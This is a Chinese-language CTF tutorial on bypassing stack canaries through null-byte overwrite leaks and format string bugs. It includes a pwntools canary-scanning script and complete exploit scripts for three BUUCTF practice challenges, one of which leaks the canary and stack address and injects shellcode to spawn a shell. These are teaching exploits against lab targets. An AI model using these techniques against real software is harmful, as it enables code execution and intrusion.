Canary 栈保护的核心思想,就是在函数的栈上放一段“哨兵值”(canary),函数返回前检查它有没有被覆盖;被覆盖就说明发生了溢出,直接终止程序。

无 Canary 保护 的栈上,大概形似:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
高地址
+------------------------+
| 返回地址 RET           |  <-- 函数 ret 会跳到这里
+------------------------+
| 保存的 RBP(旧栈底)    |
+------------------------+
| 其他局部变量(可选)      |
+------------------------+
| buf[64]                |  <-- 溢出从这里开始往上“顶”
+------------------------+
低地址

有 Canary 保护 的栈上,大概形似:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
高地址
+------------------------+
| 返回地址 RET           |
+------------------------+
| 保存的 RBP(旧栈底)    |
+------------------------+
| Canary(栈保护值)      |  <-- 夹在中间
+------------------------+
| 其他局部变量(可选)      |
+------------------------+
| buf[64]                |
+------------------------+
低地址

而函数返回时会做以下检查:

  • 取出栈上的 canary
  • 和“原始 canary”比较 (存储在 线程本地存储 TLS(Thread-Local Storage) 上)
  • 不相等就 __stack_chk_fail() 直接崩溃

那么思路就很明显了:写到 RET 前必然先写到 Canary,除非你能把 Canary 写成原样,也就是 泄露 Canary

而泄露 Canary 的方式有很多种,下面将一一介绍。

覆盖 canary 低字节泄露

常见叫法有很多种:

  • Canary byte overwrite leak(覆盖 canary 低字节泄露)
  • Null-byte overwrite leak / off-by-one leak(空字节覆盖/Off-by-one 泄露)
  • String over-read leak(字符串越界读取泄露)
  • puts 泄露 canary、通过 %s 泄露 canary

总而言之是一个东西。

Canary 设计为以字节 \x00 结尾,本意是为了保证 Canary 可以截断字符串,即程序遇到 printf("%s", buf)puts(buf) 这种按字符串输出的函数时,输出会在遇到 \x00 就停下,不容易“顺带把后面的栈内容打印出来”。

泄露栈中的 Canary 的思路是覆盖 Canary 的低字节,来打印出剩余的 Canary 部分。

这种利用方式需要存在合适的输出函数,并且可能需要 第一溢出 泄露 Canary,之后 再次溢出 控制执行流程。

假设栈上布局为:buf | canary(8字节) | saved rbp | ret

canary 形似:00 aa bb cc dd ee ff 11

如果有 puts(buf),正常情况下输出读到 canary 的第一个字节就是 00,就停了,

但如果把 00 改掉,比如改成 ‘A’(41),那么 canary 形似:41 aa bb cc dd ee ff 11,输出函数就会继续把 canary 后面的字节 aa bb cc ... 也当成“字符串内容”输出出来。

(直到某个地方再次遇到 \x00 才停止)

同时 canary 坏了,所以这次程序崩溃,再拿正确的 Canary 溢出第二次,这就是二次溢出。

格式化字符串漏洞

也称 fmt 攻击。

printf(format, a1, a2, a3, ...) 是这样工作的:

  • 读取 format 字符串
  • 遇到 %x/%p/%s/%n 就去“参数列表”里取一个参数来用
    • %x:取一个整数打印
    • %p:取一个指针打印
    • %n:取一个“指针”,往这个指针指向的地址写入输出长度

假如输入了 user_input,要打印出来。

正常写法是:

1
printf("%s", user_input);

输入的内容将以 %s 的格式输出。

有漏洞的写法是:

1
printf(user_input);

用户输入的将被当作格式模板。

比如输入 %p %p %p %p ... 或者 %lxprintf 会把它当成“打印指针/打印 64 位数”,然后从栈上一个个取值打印出来。

因此可以泄露:

  • 栈上的 canary
  • 返回地址附近的值
  • libc 地址
  • PIE 基址

还可以输入 %n 把当前已经输出的字符数写到一个地址里,可以修改:

  • 某个关键变量
  • GOT 表项
  • 栈上的返回地址

但是 printf(user_input); 只有 format 本身,不存在 a1 a2 ... 等参数,根据 ABI / 调用约定printf 会从固定的栈位置开始把“可变参数”当成一串 uint32_t 依次取出来。

也就是说,如果我们的 payload 是 p32(addr) + "%n",那么 %n 会从“第 1 个参数位置”取一个值当作地址写入,但是我们写入的 addr 在读入时,大概率是填入了其他的参数槽位

所以我们要找出第一个输入的位置对应的参数槽位,也就是 offset。

那么如果我们要修改 addr 指向的变量,payload 应该等于 p32(addr)+b'%offset$n'

这里的 offset 指 从 [ebp+8] 的 format 算第 1 个参数,往后数第 k 个参数槽位。

发送这个 payload,他先把 addr 填入对应的参数槽位,%offset$n然后再找到这个槽位,把这个参数的值取出并当作地址访问,把 % 前的 输出长度 填入。

(地址的输出长度为 4)

找到 offset

  1. 用标记值定位

发送 AAAA.%x.%x.%x.%x.%x.%x.%x.%x.%x....

输出中出现 41414141 的那一项,就是你的 AAAA 被当成了第 k 个参数读到。

  1. 直接用 %k$p 去扫栈

一次性打很多并带序号(方便数):

1
%1$p %2$p %3$p ... %30$p

然后观察:

  • 哪些是 0xff….(栈)

  • 哪些出现 0x41414141

  • 哪些值看起来像要写入的地址

附:自动找 canary_k 的脚本:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
# Wei

from pwn import *

context(os="linux", arch="amd64", log_level="info")

# ====== 配置区:按实际环境修改 ======
# BIN_PATH = "./web_of_sci_volga_2016"
# HOST, PORT = "node5.buuoj.cn", 27101

# USE_REMOTE = False  # 本地 True/False 自己切

# PROMPT = b"Tell me your name first"   # 程序等待输入“name”的提示
# =======================================


def open_io():
    """
    每次打开一个“全新的”进程/连接。
    为什么要全新?
    - 因为 canary 是“进程级随机”,新进程能得到不同的 canary,用于二次验证。
    """
    if USE_REMOTE:
        io = remote(HOST, PORT)
    else:
        io = process(BIN_PATH)

    # 同步到输入点,避免我们发 payload 时程序还没 ready
    io.recvuntil(PROMPT)
    return io


def leak_k_as_int(io, k: int):
    """
    向程序发送 `%k$p`,并把输出里形如 `0x...` 的值解析成 int。
    返回:
      - int: 解析成功
      - None: 没有 `0x`(例如输出 (nil) 或格式不同)
    """
    payload = f"%{k}$p".encode()
    io.sendline(payload)

    # 程序输出通常会包含一行算式,然后下一行会把你 name printf 出来
    # 为了稳一点,我们直接在接下来的输出里找 '0x'
    data = io.recvuntil(b"\n", timeout=1) or b""

    # 有的程序会在后续行才出现 0x,所以再多读几行兜底
    if b"0x" not in data:
        for _ in range(3):
            more = io.recvuntil(b"\n", timeout=1) or b""
            data += more
            if b"0x" in data:
                break

    if b"0x" not in data:
        return None

    # 取出 '0x' 后面连续的 hex 字符
    idx = data.find(b"0x")
    hex_part = data[idx+2:].strip().split()[0]  # 取第一个 token
    # 去掉可能的逗号句号等
    hex_part = hex_part.strip(b",.;")

    try:
        return int(hex_part, 16)
    except ValueError:
        return None


def looks_like_pointer(val: int) -> bool:
    """
    粗略判断是否像“典型指针地址”:
    - 栈地址常见: 0x7fff...
    - libc/ld 常见: 0x7f...
    - PIE 程序代码段: 0x55...
    这些都可能随 ASLR 变化,容易误判为 canary,所以先排除掉。
    """
    top = (val >> 40) & 0xff  # 取高位一个字节粗略判断
    return top in (0x7f, 0x7e, 0x55)


def is_canary_candidate(val: int) -> bool:
    """
    Canary 常见特征(启发式):
    1) 最低字节为 0
    2) 不是 0
    3) 不太像“指针形态”
    """
    if val is None:
        return False
    if val == 0:
        return False
    if (val & 0xff) != 0:
        return False
    if looks_like_pointer(val):
        return False
    return True


def find_canary(max_k=100):
    """
    扫描 1..max_k,找出“最像 canary”的 k。
    做法:
    - 第一次:筛出候选
    - 第二次:新进程再泄露一次,看是否变化(进程级随机)
    """
    candidates = []

    for k in range(1, max_k + 1):
        io = open_io()
        v1 = leak_k_as_int(io, k)
        io.close()

        if not is_canary_candidate(v1):
            continue

        log.info(f"[k={k}] candidate v1={hex(v1)} ; doing 2nd check...")

        # 二次验证:新进程再来一次
        io2 = open_io()
        v2 = leak_k_as_int(io2, k)
        io2.close()

        if v2 is None:
            continue

        # canary 对“新进程”一般会变化
        if v2 != v1 and is_canary_candidate(v2):
            log.success(f"[k={k}] VERY likely canary: v1={hex(v1)}, v2={hex(v2)}")
            candidates.append((k, v1, v2))
        else:
            log.warning(f"[k={k}] looks suspicious but failed 2nd check: v1={v1}, v2={v2}")

    return candidates


if __name__ == "__main__":
    cands = find_canary(max_k=80)
    print("\n=== SUMMARY ===")
    for k, v1, v2 in cands:
        print(f"k={k}: {hex(v1)} -> {hex(v2)}")

然后在 pwndbg 中校验一下就可以了。

例题 1:jarvisoj_fm

BUU CTF 题目链接

安全检查:

02dbe0c8ceb99d6f115a0ce83d59b0d3

IDA 主函数伪代码:

09af40d62dcbb31092abd2027a56db9f

发现 printf(buf); 存在格式化字符串漏洞,需要修改 x=4

image

IDA 查到 x 地址为 x 0804A02C

image

offset = 11

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
# written by Sonnety
from pwn import *
context.arch = "i386"

host = "node5.buuoj.cn"
port = 28944
x_addr = 0x804A02C

def main():
    io = remote(host,port)
    payload = p32(x_addr) + b"%11$n"    # offset = 11
    io.sendline(payload)
    io.interactive()

if __name__ == "__main__":
    main()

(tips:如果判断 x==5,就将 payload 改为 p32(x_addr) + b"A%11$n")

例题 2:[第五空间2019 决赛]PWN5

BUU CTF 题目链接

和上道题很像,只是伪代码更复杂了一点点。

安全检查:

853cd3a6a9f1085a1184b16ec2071df3

伪代码:

123e878ad745095d5b77f6ecf252d1d2

要点其实是随机生成一个密码存到 buf_ 里面,然后再等你输入密码存到 nptr 里面,两个相等就 shell。

然后里面有一个 printf(buf); 显然是格式化字符串攻击,修改 buf_值。

image

得到 buf_ 地址 0x804C044

f80dc88844da732b02f4c731b4158d1e

得到 offset = 10.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
# written by Sonnety
from pwn import *
context.arch = "i386"

host = "node5.buuoj.cn"
port = 29968
buf_addr = 0x804C044

def main():
    io = remote(host,port)
    io.recvuntil("your name:")
    payload = p32(buf_addr)+b"%10$n"    # offset = 10
    io.sendline(payload)
    io.recvline()
    io.recvuntil("your passwd:")
    io.sendline(b"4")
    io.interactive()

if __name__ == "__main__":
    main()

例题 3:web_of_sci_volga_2016

BUU CTF 题目链接

查看保护:

319b8030d817d8012a1fc29ffacac555

主要函数反编译:

e186151663aa0fc7eed3dfd2dbe339f6

发现,printf(format); 格式化字符串漏洞,可以泄露 Canary 和 栈地址,gets(nptr) 可以栈溢出。

1
2
3
char nptr[136]; // [rsp+A0h] [rbp-A0h] BYREF
unsigned __int64 v8; // [rsp+128h] [rbp-18h]
v8 = __readfsqword(0x28u);

基本可以确定 v8 是 Canary 的栈副本,0xA0 - 0X18 = 0x88 = 136,这就是覆盖到 canary 需要的 offset。

然后查 Canary_k 和 stack_k:

image

可见 Canary_k = 43

8de4a9b68281e79cd5acecd4a54b7683

可见 stack_k = 46(通过开头是栈地址 0x7ffd… 以及 16 字节对齐,结尾通常是 ...0, ...10, ...f0, ...e0 判断)

然后 pwndbg 调试一下,找到 shellcode 在 stack_addr - 192 位。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# written by Sonnety
from pwn import *
context.arch = "amd64"

host = "node5.buuoj.cn"
port = "27101"
offset = 136

def main():
    io = remote(host,port)
    io.recvuntil(b"Tell me your name first\n")
    io.sendline(b"%43$p.%46$p")  # canary_k = 43,stack_k = 46
    io.recvuntil(b"Alright, pass a little test first, would you.\n")
    io.recvline()
    io.recvuntil("0x")
    canary = int(io.recv(16),16)
    io.recvuntil("0x")
    stack_addr = int(io.recv(12),16)
    for i in range(9):
        io.sendline("Sonnety kawaii daisuki")
        io.recv()
    shellcode = asm(shellcraft.sh())
    payload = shellcode + (offset - len(shellcode)) * b"A" + p64(canary) + 3 * p64(0x0) + p64(stack_addr - 192)
    io.sendline(payload)
    io.interactive()

if __name__ == "__main__":
    main()

ROP 链基础

ROP(Return Oriented Programming)本质是:

通过溢出控制返回地址 EIP,把下一步要返回到哪里、参数是什么都提前摆在栈上,从而把多个调用串起来。

当 NX 保护启用,栈不可执行,我们就很容易用到 ROP链 去调用已有的或 libc函数 进行。